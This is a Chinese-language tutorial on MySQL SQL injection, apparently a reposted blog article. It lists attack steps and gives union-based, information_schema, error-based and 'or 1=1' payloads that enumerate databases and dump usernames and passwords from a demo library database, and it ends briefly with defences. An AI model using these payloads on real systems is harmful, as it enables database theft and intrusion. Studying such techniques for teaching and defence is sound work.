sql注入数据库原理详解

本文涉及的产品
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
RDS MySQL Serverless 高可用系列,价值2615元额度,1个月
云数据库 RDS MySQL,高可用系列 2核4GB
简介: 作者主页:https://www.couragesteak.com/

1 介绍

SQL注入漏洞主要是由于,在请求的时候没有做严格的过滤,导致传入的语句被当做SQL语句被执行,从而导致数据库受损(被脱库、删除、甚至数据付权限沦陷)

2 一般步骤

  1. SQL注入点探测
    判断什么地方存在SQL注入点,通常在表单文章查询等与数据库有关操作的页面。
  2. 收集后台数据库信息
    不同的数据库的注入方法、函数各不相同,因此注入前要判断数据库的类型。
    如:
    特殊字符、单引号:让数据库返回错误
    函数:
    version()函数:MSQL专用

    1 and version()>0
  3. 猜测用户名和密码
    表名、字段名、字段数、用户名和密码。
  4. 查找 Web 后台管理入口
    可以使用 目录扫描工具
  5. 入侵and破坏
    登录后台:上传木马、篡改网页、窃取信息。
    进一步提权:入侵Web服务器和数据库服务器。

3 注入

测试数据

+---------------+----------------------------------+
| isbn          | title                            |
+---------------+----------------------------------+
| 9787302458210 | SQL Server 从入门到精通(第2版)    |
| 9787115496003 | 虚拟化技术应用与实践                |
| 9787302510109 | 算法设计与分析(第4版)             |
| 9787503442490 | 心灵密码                          |
| 9787503421884 | 雪狼                             |
| 9787539635835 | 龙头老太                          |
+---------------+----------------------------------+

3 函数

3.1 常用的系统函数

函数 作用
version() MySQL版本
user() 数据库用户名
database() 数据库名
@@datadir 数据库路径
@@version_complie_os 操作系统版本

3.2 字符串连接函数

三大法宝:concat(),group_concat(),concat_ws()

3.2.1 concat() 函数

特点:concat(str1,str2,...)
返回结果为连接参数产生的字符串,如果任何一个参数为NULL,则返回值为NULL,可以有一个或多个参数。

1. 不使用字符连接函数:

select isbn,title from books limit 1;
+---------------+----------------------------------+
| isbn          | title                            |
+---------------+----------------------------------+
| 9787302458210 | SQL Server 从入门到精通(第2版)    |
+---------------+----------------------------------+

2.使用示例
一般我们都要用一个字符将各个项隔开,便于数据的查看

select concat(isbn,',',title) from books limit 1;
+------------------------------------------------+
| concat(isbn,',',title)                         |
+------------------------------------------------+
| 9787302458210,SQL Server 从入门到精通(第2版)    |
+------------------------------------------------+

3.2.2 concat_ws() 函数

CONCAT_WS() 代表 CONCAT With Separator ,是CONCAT()的特殊形式。第一个参数是其它参数的分隔符。分隔符的位置放在要连接的两个字符串之间。分隔符可以是一个字符串,也可以是其它参数。如果分隔符为 NULL,则结果为 NULL。函数会忽略任何分隔符参数后的 NULL 值。但是CONCAT_WS()不会忽略任何空字符串。 (然而会忽略所有的 NULL)。
特点:CONCAT_WS(separator,str1,str2,…)
使用示例
在这里插入图片描述

3.2.3 group_concat() 函数

GROUP_CONCAT函数返回一个字符串结果,该结果由分组中的值连接组合而成。

select bid,author,group_concat(bid) from books where author in('金勇先','方兆祥 著') group by bid;

就不演示了,sql语句如同上面

4 注入

4.1 联合查询 union 注入

使用联合查询进行的前提是我们进行注入的页面必须有显示位。

1、使用union
payload:

v' union select username from member where id=1#%

select 必须有相同的列,且各列的数据也都相同,同时,每条 SELECT 语句中的列的顺序必须相同。
联合查询可先在链接最后添加 order by X 基于随意数字的注入,根据页面的返回结果来判断站点中的字段数目。

select bid,author from books union select username from users;

在这里插入图片描述
2、 payload:a' order by 4#%

select bid,author from books order by 4#%;

在这里插入图片描述

select bid,author from books order by 2#%;

在这里插入图片描述
3、得到主查询由三个字段后,我们用union来做一个sql拼接。
pauload

a' union selec database(),user(),version()#%
select bid,author,title from books union selec database(),user(),version();

这里没有测试通过

4.2 information_schema 注入

information_schema数据库是MySQL5.0系统自带的数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。

select group_concat(schema_name) from information_schema.schemata;

实际注入测试

5.2.1 获取所有数据库

类型:id=/wd=/name=

-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name) from information_schema.schemata

在这里插入图片描述

4.2.2 获取指定数据库的表

payload

a' union select table_schema ,table_name,3 from information_schema.tables where table_schema='library'
select bid,author,title from books union select table_schema ,table_name,3 from information_schema.tables where table_schema='library';

在这里插入图片描述

4.2.3 获取指定表的字段名

payload

a' union select table_name,column_name,3 from information_schema.columns where table_name='users'#%
select bid,author,title from books  union select table_name,column_name,3 from information_schema.columns where table_name='users';

在这里插入图片描述

4.2.4 获取字段值得内容

payload

 a' union select username ,password,3 from users#%
select bid,author,title from books union select username,password,3 from users;

在这里插入图片描述

4.3 基于报错信息注入

此方法是在页面没有显示位,但是 echomysql_error() 函数,在前端输出了错误信息的时候方能使用。
优点是注入速度快,缺点是语句较为复杂,而且只能用 limit 依次进行猜解。总体来说,报错注入其实是一种公式化的注入方法,主要用于在页面中没有显示位,但是用 echomysql_error() 输出了错误信息时使用。常见的select/insert/update/delete 注入都可以使用报错方式来获取信息。

4.3.1 三个常用报错函数

updatexml(): 函数是MYSQL对XML文档数据进行查询和修改的XPATH函数
extractvalue() : 函数也是MYSQL对XML文档数据进行查询的XPATH函数.
floor(): MYSQL中用来取整的函数.


### 4.4 数字注入 ```css or 1=1 ``` ### 4.5 搜索注入 在搜索框搜索的时候,成为搜索型。 数字型与字符型注入最大区别:数字型不需要单引号闭合,而字符串类型需要单引号闭合。 ```css %xxx% or 1=1 #%' ``` ## 5 sql注入防御 1. 对输入进行严格的转义和过滤 2. 使用参数化(Parameterized):目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重! 参考文章: https://zhuanlan.zhihu.com/p/258032596 https://www.cnblogs.com/lcamry/p/5715634.html
相关实践学习
每个IT人都想学的“Web应用上云经典架构”实战
本实验从Web应用上云这个最基本的、最普遍的需求出发,帮助IT从业者们通过“阿里云Web应用上云解决方案”,了解一个企业级Web应用上云的常见架构,了解如何构建一个高可用、可扩展的企业级应用架构。
MySQL数据库入门学习
本课程通过最流行的开源数据库MySQL带你了解数据库的世界。   相关的阿里云产品:云数据库RDS MySQL 版 阿里云关系型数据库RDS(Relational Database Service)是一种稳定可靠、可弹性伸缩的在线数据库服务,提供容灾、备份、恢复、迁移等方面的全套解决方案,彻底解决数据库运维的烦恼。 了解产品详情: https://www.aliyun.com/product/rds/mysql 
相关文章
|
4月前
|
SQL 机器学习/深度学习 人工智能
从“写SQL”到“聊数据”:NL2SQL如何用自然语言解锁数据库?
本文系统性地阐述了自然语言转SQL(NL2SQL) 技术如何让非技术背景的业务分析师实现数据自助查询,从而提升数据驱动决策的效率与准确性。
从“写SQL”到“聊数据”:NL2SQL如何用自然语言解锁数据库?
|
5月前
|
存储 SQL 关系型数据库
mysql底层原理:索引、慢查询、 sql优化、事务、隔离级别、MVCC、redolog、undolog(图解+秒懂+史上最全)
mysql底层原理:索引、慢查询、 sql优化、事务、隔离级别、MVCC、redolog、undolog(图解+秒懂+史上最全)
mysql底层原理:索引、慢查询、 sql优化、事务、隔离级别、MVCC、redolog、undolog(图解+秒懂+史上最全)
|
3月前
|
SQL 人工智能 Linux
SQL Server 2025 RC1 发布 - 从本地到云端的 AI 就绪企业数据库
SQL Server 2025 RC1 发布 - 从本地到云端的 AI 就绪企业数据库
402 5
SQL Server 2025 RC1 发布 - 从本地到云端的 AI 就绪企业数据库
|
2月前
|
SQL 存储 监控
SQL日志优化策略:提升数据库日志记录效率
通过以上方法结合起来运行调整方案, 可以显著地提升SQL环境下面向各种搜索引擎服务平台所需要满足标准条件下之数据库登记作业流程综合表现; 同时还能确保系统稳健运行并满越用户体验预期目标.
205 6
|
4月前
|
SQL 人工智能 Java
用 LangChain4j+Ollama 打造 Text-to-SQL AI Agent,数据库想问就问
本文介绍了如何利用AI技术简化SQL查询操作,让不懂技术的用户也能轻松从数据库中获取信息。通过本地部署PostgreSQL数据库和Ollama模型,结合Java代码,实现将自然语言问题自动转换为SQL查询,并将结果以易懂的方式呈现。整个流程简单直观,适合初学者动手实践,同时也展示了AI在数据查询中的潜力与局限。
489 8
|
4月前
|
SQL 人工智能 Linux
SQL Server 2025 RC0 发布 - 从本地到云端的 AI 就绪企业数据库
SQL Server 2025 RC0 发布 - 从本地到云端的 AI 就绪企业数据库
284 5
|
8月前
|
SQL 安全 关系型数据库
SQL注入之万能密码:原理、实践与防御全解析
本文深入解析了“万能密码”攻击的运行机制及其危险性,通过实例展示了SQL注入的基本原理与变种形式。文章还提供了企业级防御方案,包括参数化查询、输入验证、权限控制及WAF规则配置等深度防御策略。同时,探讨了二阶注入和布尔盲注等新型攻击方式,并给出开发者自查清单。最后强调安全防护需持续改进,无绝对安全,建议使用成熟ORM框架并定期审计。技术内容仅供学习参考,严禁非法用途。
1208 0
|
5月前
|
SQL 缓存 监控
SqlRest让SQL秒变Http API,还支持20+数据库(含国产数据库)
杭州奥零数据科技有限公司成立于2023年,专注于数据中台业务,维护开源项目AllData并提供商业版解决方案。AllData提供数据集成、存储、开发、治理及BI展示等一站式服务,支持AI大模型应用,助力企业高效利用数据价值。
|
5月前
|
SQL 存储 数据库
SQL Server Management Studio (SSMS) 21 - 微软数据库管理工具
SQL Server Management Studio (SSMS) 21 - 微软数据库管理工具
1008 0
|
7月前
|
SQL 存储 自然语言处理
SQL的解析和优化的原理:一条sql 执行过程是什么?
SQL的解析和优化的原理:一条sql 执行过程是什么?
SQL的解析和优化的原理:一条sql 执行过程是什么?

热门文章

最新文章